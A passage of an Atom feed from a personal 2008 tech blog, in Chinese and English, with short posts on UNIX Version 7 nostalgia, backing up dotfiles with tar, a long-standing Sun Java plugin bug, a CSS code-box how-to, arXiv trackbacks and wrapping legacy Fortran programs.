&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-3482123368329848247?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/3482123368329848247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=3482123368329848247' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/3482123368329848247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/3482123368329848247'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/11/fun-with-python-grammar.html' title='Fun with Python Grammar'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-3974485268822664278</id><published>2008-11-02T22:41:00.003+08:00</published><updated>2008-11-03T09:50:08.874+08:00</updated><title type='text'>我们的集体潜意识</title><content type='html'>&lt;p&gt;
今天在自己的机子上虚拟了一把PDP-11和UNIX Version 7系统。当然在这么做的同时，我不会忘记看一看Version 7的源代码。
&lt;/p&gt;

&lt;p&gt;
在现在看来，那个年代的源码简直就是传说中黄金时代的文字。一切都是如此简洁明了，设计和实现的本质清晰无遮拦地展示在我们面前。有些userland程序的代码在今天的GNU/Linux平台上还能一字不改地编译通过并生成正确的二进制码——犹如乘坐时光机回到了过去，又发现一切都是那么熟悉。
&lt;/p&gt;

&lt;p&gt;
这样的代码在今天几乎不可能存在了。当年的世界，有如《百年孤独》里Macondo刚刚建立的时候，一切都是新的，有无尽的自由发挥空间。UNIX的先行者们在那里创造世界，没有什么可以拘束他们。他们可以淋漓尽致地发挥自己的理念和哲学。而今时过境迁，我们已经难以在周围越来越复杂的系统中求得UNIX哲学真正毫无保留的实现了。比较一下GNU Coreutils的&lt;code&gt;cat&lt;/code&gt;和Version 7的&lt;code&gt;cat&lt;/code&gt;，就会看到差别，还有一种无奈。Version 7的&lt;code&gt;cc&lt;/code&gt;和GNU的&lt;code&gt;gcc&lt;/code&gt;相比，更是天壤之别。[Hint: Google for "cat -v considered harmful".]
&lt;/p&gt;

&lt;p&gt;
并不是说今不如昔。今天的系统功能前所未有地强大，是Version 7所不能比拟的。然而，如今我们更多的工作，在传说时代的英雄人物看来，也许是可笑的。我们现在的人讲究OO, 讲究encapsulation, 其实是类似“把垃圾扫入地毯下”的做法，维护表面上的简单性；而他们是真正的KISS原则贯彻实现。从上到下看去，他们的作品是越来越简单的，最后到达不可分的点。而我们写程序，往往是越往下越杂乱无章…… 想想看，我们往往为了一个简单的目的而东拼西凑，制造出难以维护的聚合体，而他们做的是一整个功能完备的分时系统……
&lt;/p&gt;

&lt;p&gt;
我知道，现在再提这些，是有点傻的。今天真正在乎UNIX哲学的人似乎越来越少了，真正有能力掌握它的人更是如此（我不自称为其中一员）。可是，不管我在哪里，UNIX哲学对我都具有无比强大的感召力。它就是一个理想，一个梦。现实是梦的终结，而梦是现实的延续。
&lt;/p&gt;

&lt;p&gt;
而今天看到了真正的Version 7源代码，我终于意识到，这个梦是属于我们集体潜意识的一部分的，是一个民族的集体原始记忆，这个民族不是由血缘，而是由价值观而定。它既是传说，也是历史。它已经模糊了，但是却在这代码中清晰无疑地向我们昭示着。我们作为UNIX的传人，尽管不能复行古道，但是将带着它走向未知。
&lt;/p&gt;

&lt;p&gt;
My humble hail to Ken, Dennis, and the whole UNIX hackerdom.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-3974485268822664278?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/3974485268822664278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=3974485268822664278' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/3974485268822664278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/3974485268822664278'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/11/blog-post.html' title='我们的集体潜意识'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-248227933416836615</id><published>2008-10-31T15:57:00.003+08:00</published><updated>2008-11-10T19:15:21.476+08:00</updated><title type='text'>鲜血淋漓的教训</title><content type='html'>&lt;p&gt;
记住，备份文件的时候，不要漏过那些以"."开头的。
&lt;/p&gt;

&lt;p&gt;
除非设置了&lt;code&gt;shopt dotglob&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
它们是你生活的根基。一旦失去，后果不堪设想，无论怎么说也不为过。
&lt;/p&gt;

&lt;p&gt;
Edit: 其实正确的工具已经在那里了：不要用&lt;code&gt;cp&lt;/code&gt;备份，用&lt;code&gt;tar&lt;/code&gt;. 而且记得，GNU tar的有用选项：&lt;code&gt;--selinux&lt;/code&gt;和 &lt;code&gt;--preserve&lt;/code&gt;.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-248227933416836615?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/248227933416836615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=248227933416836615' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/248227933416836615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/248227933416836615'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/blog-post.html' title='鲜血淋漓的教训'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-6125003879779128766</id><published>2008-10-23T15:03:00.005+08:00</published><updated>2008-10-23T15:32:01.779+08:00</updated><title type='text'>Sun began to fix their 6-year old bug</title><content type='html'>&lt;p&gt;
It is always hilarious to see the new comments to this bug: &lt;a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4802695"&gt;No 64-bit support for Sun Java browser plugin&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
Submitted on Jan. 14, 2003. Almost six years. 793 votes. You guys at Sun are making history.
&lt;/p&gt;

&lt;p&gt;
Reading through the comments, I saw history unfolding itself before my eyes. Fedora Core 3. OS X Tiger. Its "state" and "priority" attributes has changed again and again in these six years. One anniversary after another anniversary.
&lt;/p&gt;

&lt;p&gt;
I know this is not trivial stuff. JIT compiler for 64-bit platforms is not a something like changing a few gcc switches and linking against the 64-bit libraries. But why can't a giant like Sun make it given six years' time?
&lt;/p&gt;

&lt;p&gt;
P.S. I really don't care that much. I don't use the Sun plugin (mine's the IcedTea one shipped with Fedora) and I detest all client-side Java stuff (I use NoScript), using it only when absolutely necessary. I'm glad they made a breakthrough. Still, not everybody thinks so.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-6125003879779128766?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4802695' title='Sun began to fix their 6-year old bug'/><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/6125003879779128766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=6125003879779128766' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/6125003879779128766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/6125003879779128766'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/sun-began-to-fix-their-6-year-old-bug.html' title='Sun began to fix their 6-year old bug'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-7258313133449370851</id><published>2008-10-19T22:49:00.021+08:00</published><updated>2008-10-20T11:52:33.855+08:00</updated><title type='text'>How-to: creating a simple code sample box</title><content type='html'>&lt;p&gt;
&lt;span style="font-style:italic;"&gt;Disclaimer: IANAWD (I am not a Web developer) --- just tinkering around.&lt;/span&gt;
&lt;/p&gt;

&lt;p&gt;
In short, it goes like this:
&lt;/p&gt;

&lt;div class="myCodeBlock"&gt;/*Style Sheet for THIS code block ITSELF. */
div.myCodeBlock {
  margin-left:auto;
  margin-right:auto;
  width: 80%;
  overflow: auto;
  padding: 15px;
  font-family: monospace;
  white-space: pre;
  color: #11593c;
  border-style: dotted;
  border-color: #6699cc;
  background-color: #eeeeee
}
&lt;/div&gt;

&lt;p&gt;
The above code is fairly self-explanatory. No special hacking is involved here. Be sure to use the proper "&lt;code&gt;overflow&lt;/code&gt;" property --- sometimes the "short" code goes really loooooong. 
&lt;/p&gt;

&lt;p&gt;
So how to use the code? There are at least two ways.
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;
    Use the "&lt;code&gt;style&lt;/code&gt;" attribute inside an XHTML tag. E.g.&lt;br/&gt;
    &lt;div class=myCodeBlock&gt;&amp;lt;div style="margin-left:auto;margin-right:auto;width: 80%; ..." ... &amp;gt;&lt;/div&gt;
    &lt;/p&gt;
    &lt;p&gt;
    Pros: previewing works when editing the post.&lt;br/&gt;
    Cons: you have to copy the same thing over and over each time.
    &lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;
    Put the CSS code inside the blog template (Layout -&gt; Edit HTML). Be sure to put up relevant comments so that later you'll remember what you've done. I chose this way. 
    &lt;/p&gt;
    &lt;p&gt;
    You don't have to use the name "&lt;code&gt;myCodeBlock&lt;/code&gt;". Just use one that doesn't clash with existing names in the template. It is always good to use a unique, consistent pattern for this kind of stuff. E.g. "&lt;code&gt;yournameacronymClassDescription&lt;/code&gt;" or "&lt;code&gt;ClassDescription_custom&lt;/code&gt;".
    &lt;/p&gt;
    &lt;p&gt;
    When editing a post, use it like this:&lt;br/&gt;
    &lt;div class="myCodeBlock"&gt;&amp;lt;div class="myCodeBlock" ... &amp;gt;&lt;/div&gt;
    &lt;/p&gt;
    &lt;p&gt;
    Pros: write once, use everywhere.&lt;br/&gt;
    Cons: doesn't work with previewing.
    &lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;
&lt;/p&gt;

&lt;p&gt;
There could be a small improvement to this how-to --- avoiding using hard-coded CSS colors. Looking at the XML template, we can find the &lt;code&gt;&amp;lt;Variable&amp;gt;&lt;/code&gt; elements defining the colors. To use a variable, write &lt;code&gt;$variablename&lt;/code&gt; in the place of the color value. It will be expanded when the page is generated.
&lt;/p&gt;

&lt;p&gt;
By using variables, we can reuse the colors in the template, thus achieving better consistency. We can also define our own variables for better reuse and clarity.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-7258313133449370851?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/7258313133449370851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=7258313133449370851' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7258313133449370851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/7258313133449370851'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/how-to-superscripts-in-blog-header.html' title='How-to: creating a simple code sample box'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-4939438685154149888</id><published>2008-10-19T22:24:00.005+08:00</published><updated>2008-10-20T13:22:33.241+08:00</updated><title type='text'>Announcement for this new blog</title><content type='html'>&lt;p&gt;
I've decided to put the tech stuff I wrote (or intend to write) here. They are not necessarily all serious stories. There could be random thoughts, simple or not-so-simple how-tos, work-related topics or inspirations.
&lt;/p&gt;

&lt;p&gt;
As a native Chinese speaker, it is expected that I would write most of the stories in Chinese. However, there are times I find English would better suit my purpose so don't be surprised with the inconsistency. 
&lt;/p&gt;

&lt;p&gt;
Comments are welcome, particularly those correcting factual mistakes.
&lt;/p&gt;

&lt;p&gt;
Thanks for your visit.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-4939438685154149888?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://little-tent-of-blue.blogspot.com/2008/10/new-blog-announcement.html' title='Announcement for this new blog'/><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/4939438685154149888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=4939438685154149888' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/4939438685154149888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/4939438685154149888'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/announcement-for-this-new-blog.html' title='Announcement for this new blog'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-5772793225898147839</id><published>2008-10-15T14:33:00.001+08:00</published><updated>2008-10-19T20:56:52.139+08:00</updated><title type='text'>才知道arXiv.org支持Trackback了</title><content type='html'>&lt;p&gt;
因为我不怎么读文献了，所以最近才知道这个新特性。
&lt;/p&gt;

&lt;p&gt;
事情是这样的，昨天晚上睡不着觉，躺在床上拿手机上网，搜索我一直在想的一个主题，链接到了arXiv.org上。由于手机浏览器(OperaMini)的渲染方式把侧边栏的一些东西放在顶上方便浏览，所以直接就看到了那些social bookmarking的花花绿绿图标和Trackback链接。的确很方便，这样以后我躺在床上、半睡半醒的时候也可以给我的del.icio.us添加arXiv文章的链接了。
&lt;/p&gt;

&lt;p&gt;
看来，arXiv一方面流量越来越大，另一方面离scientific publishing的&lt;a href="http://medicine.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371%2Fjournal.pmed.0050201&amp;ct=1"&gt;cathedral&lt;/a&gt;越来越远了。这个时候重新读一读Ginsparg的&lt;span style="font-style:italic;"&gt;&lt;a href="http://people.ccmr.cornell.edu/~ginsparg/blurb/pg96unesco.html"&gt;Winners and Losers in the Global Research Village&lt;/a&gt;&lt;/span&gt;，也许我们想到的不只是一个经济意义上的新business model, 而是科学界新的协作方式 --- &lt;a href="http://www.sciam.com/article.cfm?id=science-2-point-0-great-new-tool-or-great-risk"&gt;the&lt;/a&gt; &lt;a href="http://www.contentious.com/2005/12/04/web-20-science-behind-hype/"&gt;long&lt;/a&gt; and &lt;a href="http://blog.wired.com/wiredscience/2008/03/the-internet-is.html"&gt;much&lt;/a&gt; &lt;a href="http://duncan.hull.name/2008/03/05/science-20/"&gt;hyped&lt;/a&gt; &lt;a href="http://www.sciencemag.org/cgi/content/full/319/5868/1349"&gt;Science 2.0&lt;/a&gt; --- 的到来。
&lt;/p&gt;

&lt;p&gt;
从一个简单的web app想到这些，是很不理性的。But hey, it's the Internet!
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-5772793225898147839?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://arxiv.org/help/trackback/' title='才知道arXiv.org支持Trackback了'/><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/5772793225898147839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=5772793225898147839' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/5772793225898147839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/5772793225898147839'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/arxivorgtrackback.html' title='才知道arXiv.org支持Trackback了'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-498456148622221854</id><published>2008-10-11T00:29:00.004+08:00</published><updated>2008-10-19T22:24:13.619+08:00</updated><title type='text'>PITA maintaining zombie Fortran code</title><content type='html'>&lt;p&gt;NOTE: This story is cross-posted from &lt;a href="http://little-tent-of-blue.blogspot.com/"&gt;The Little Tent of Blue&lt;/a&gt;. Comments are closed for this story --- you can still comment on the &lt;a href="http://little-tent-of-blue.blogspot.com/2008/10/pita-maintaining-zombie-fortran-code.html"&gt;original post&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;
&lt;span style="font-style:italic;"&gt;Something is rotten in the source code.&lt;/span&gt;
&lt;/p&gt;

&lt;p&gt;
我要维护的代码，已经达到了内部惨不忍视的地步，如霉烂的麦穗一般。堆积如山的没有说明用途的全局变量，包含几十个函数、四千多行代码的文件，稀薄得几乎不存在的API文档，而且还是FORTRAN 77语言写成的（光这一项本身就有很多含义，比如这个程序无法接受命令行参数来改变运行状态，等）。虽然有代码在手，但是和没有是一样的。说它是zombie code而不是legacy code, 是因为这个程序仍处在上游人员的继续开发中，死而不僵……不知他们过的是什么生活。它今天成了这个样子，也是多年滚雪球一般堆叠、黏合的后果。
&lt;/p&gt;

&lt;p&gt;
一共有两个需要维护的可执行程序A和B，它们用来完成一种科学计算任务。从一个初始输入，经过A、B的处理，得到一级结果，然后把它再用A、B处理，如此迭代，满足一定条件后，将得到最后有用的信息。然而令人难以想象的是，A和B竟然没有按照协作性来设计，A的输出无法作为B的输入，必须经过大量处理，方可喂给B. 比较可笑的是，A和B的唯一输出模式都是以人类可读为目标的，生成的是报表式的ASCII文档。为了实现自动控制的连续作业，必须把这里面的信息重新还原为机器可读的。即，执行某程序，然后undo它做过的一些事情。
&lt;/p&gt;

&lt;p&gt;
现在，直接对原程序动手脚基本上已经无可能，因此只能采取将垃圾扫入地毯下的方法，编写另外的程序，按照一定的逻辑，有条件地fork/exec这两个预先编译好的A君和B君，在这个过程中收集整理信息并最后输出有意义的结果。这样看上去很没效率，但是现在worse is better, 只好先这样来了。写到这里突然想起来，可能那两个程序里根本没有写进去和环境交流的方法，如果作为子进程的它们遇到无法处理的异常而退出，那么这就意味着无法通过检查返回值的方法判断是否需要处理异常，因为它们可能总是返回0. 这听上去很别扭，但是很多Fortran程序真的没有按照不同运行情况返回不同值的做法，尽管这是编程的常识。很多这样的程序是科学家们写的，他们不关心程序，只要求number crunching能做到就好。透露一个事情，我计划编写的这个管理进程所做的工作，本来是要人工完成的，也就是用人力执行十几次、数十次甚至上百次的迭代，每次之间由人fork/exec一个文本编辑器，按照一定的逻辑进行修改并进入下一次循环。我要做的就是编写一个bot取代它。 知道了这个事，那么认为我的计划效率差的观点就可以休矣了。
&lt;/p&gt;

&lt;p&gt;
感觉像是赫拉克勒斯一系列考验中，清理如山的粪便那项任务。神话里的赫拉克勒斯，年少时主动选择了较为艰难的那条路，and that has made all the difference. 后来的一系列冒险、死亡和apotheosis都是以当时的选择为前提的。这一次选择，意义不亚于后面的种种经历。赫拉克勒斯力大无穷，其实选择的作用更大。具体选择什么，这个就不一定有高下之分，当时他选择好走的那条路也未尝不可，也可以有一个值得的生活，也可以是某种意义上的英雄。
&lt;/p&gt;

&lt;p&gt;
如今做这个事情也是我自己的选择。不和神话比。我不是专业级别的开发人员，我无法靠这个小东西拿钱，这个事情最后也没有任何意义，只是满足某些PhD (i.e. Pointy-haired Doctor)而已，做得不好还有糟糕的后果（如同Sir Falstaff在《亨利四世》里说的伦理美德，它不能给人以失去的手足，但是可以要了违背它者的命）。不过，在如山的马粪里，说不定你们把马藏在什么地方了呢。这里引用此故事是很不自然的，因为我没有故事里那个小孩的authenticity. 虽然不自然，但是谁知道在以后看来，我会不会以另一种态度来发自内心地这样说呢？
&lt;/p&gt;

&lt;p&gt;
写这些都没用。越写越觉得隔离而空洞。做这件事的过程中，那种不时的、和这事本身无关的anguish &amp; angst才是有可能值得珍视的。
&lt;/p&gt;

&lt;p&gt;
P.S. 关于手上的FORTRAN程序可能无法正确返回的问题，可以有一个方案，即编写wrapper, 通过检查FORTRAN程序的实际运行后果而返回正确的值，而bot进程实际调用这些wrappers. 但是这样也许就划不来了。
&lt;/p&gt;
&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-498456148622221854?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://little-tent-of-blue.blogspot.com/2008/10/pita-maintaining-zombie-fortran-code.html' title='PITA maintaining zombie Fortran code'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/498456148622221854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/498456148622221854'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/pita-maintaining-zombie-fortran-code.html' title='PITA maintaining zombie Fortran code'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4492029317160260500.post-4874549615059956389</id><published>2008-10-07T21:58:00.003+08:00</published><updated>2008-10-19T21:00:22.216+08:00</updated><title type='text'>Worse Is Better</title><content type='html'>&lt;p&gt;
果然如此。
&lt;/p&gt;

&lt;p&gt;
你今天干的那点小事，人家Richard Gabriel之前早就预料到。其实在他之前也如此……
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4492029317160260500-4874549615059956389?l=supersolenoid.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://supersolenoid.blogspot.com/feeds/4874549615059956389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4492029317160260500&amp;postID=4874549615059956389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/4874549615059956389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4492029317160260500/posts/default/4874549615059956389'/><link rel='alternate' type='text/html' href='http://supersolenoid.blogspot.com/2008/10/worse-is-better.html' title='Worse Is Better'/><author><name>Cong</name><uri>http://www.blogger.com/profile/02840258466497466858</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_NjUZT8WpbXM/SMtRmeHohYI/AAAAAAAAAAk/RfBKFH_cEQQ/S220/cc_resize.jpg'/></author><thr:total>0</thr:total></entry></feed>
